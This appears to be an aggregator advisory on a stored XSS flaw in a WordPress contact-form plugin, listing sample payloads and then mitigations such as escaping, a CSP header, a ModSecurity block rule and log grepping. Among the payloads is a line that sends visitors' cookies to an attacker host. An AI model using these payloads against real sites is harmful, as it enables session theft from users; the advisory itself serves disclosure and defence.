How the CVE Works:
CVE-2025-24727 is a critical vulnerability in the CodePeople Contact Form Email plugin, affecting versions from n/a through 1.3.52. The issue arises due to improper neutralization of user-supplied input during web page generation, leading to Stored Cross-site Scripting (XSS). Attackers can inject malicious scripts into the form inputs, which are then stored in the database and executed when the data is rendered on the web page. This allows unauthorized execution of JavaScript in the context of the victim’s browser, potentially leading to session hijacking, defacement, or data theft. The vulnerability is particularly dangerous because it requires no user interaction beyond submitting a malicious form, making it easy to exploit.
DailyCVE Form:
Platform: WordPress
Version: 1.3.52 and earlier
Vulnerability: Stored XSS
Severity: Critical
Date: 01/24/2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
<script>alert('XSS');</script>
Inject this payload into the contact form fields. When the form data is displayed, the script executes.
2. Automated Exploit:
Use tools like Burp Suite or OWASP ZAP to automate payload injection and test for XSS vulnerabilities.
3. Impact:
- Steal session cookies:
document.location='http://attacker.com/steal?cookie='+document.cookie;
- Redirect users to malicious sites:
window.location.href='http://malicious-site.com';
Protection:
1. Input Sanitization:
Ensure all user inputs are sanitized before being stored or displayed. Use libraries like `DOMPurify` or built-in WordPress functions like `esc_html()` and esc_attr().
2. Output Escaping:
Always escape output when rendering user-generated content:
echo esc_html($user_input);
3. Content Security Policy (CSP):
Implement a strict CSP to mitigate XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
4. Update Plugin:
Upgrade to the latest version of the plugin if a patch is available.
5. WAF Configuration:
Configure a Web Application Firewall (WAF) to block XSS payloads:
Example ModSecurity rule SecRule ARGS "@contains <script>" "id:1001,deny,status:403,msg:'XSS Attempt'"
6. Regular Audits:
Perform regular security audits and penetration testing to identify and fix vulnerabilities.
7. Disable Plugin:
If no patch is available, consider disabling the plugin until a fix is released.
8. Log Monitoring:
Monitor server logs for suspicious activity:
tail -f /var/log/apache2/access.log | grep -i "script"
9. User Education:
Educate users about the risks of submitting untrusted data.
10. Backup:
Regularly back up your website to recover quickly in case of an attack.
By following these steps, you can mitigate the risks associated with CVE-2025-24727 and protect your WordPress installation from XSS attacks.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-24727
Extra Source Hub:
Undercode
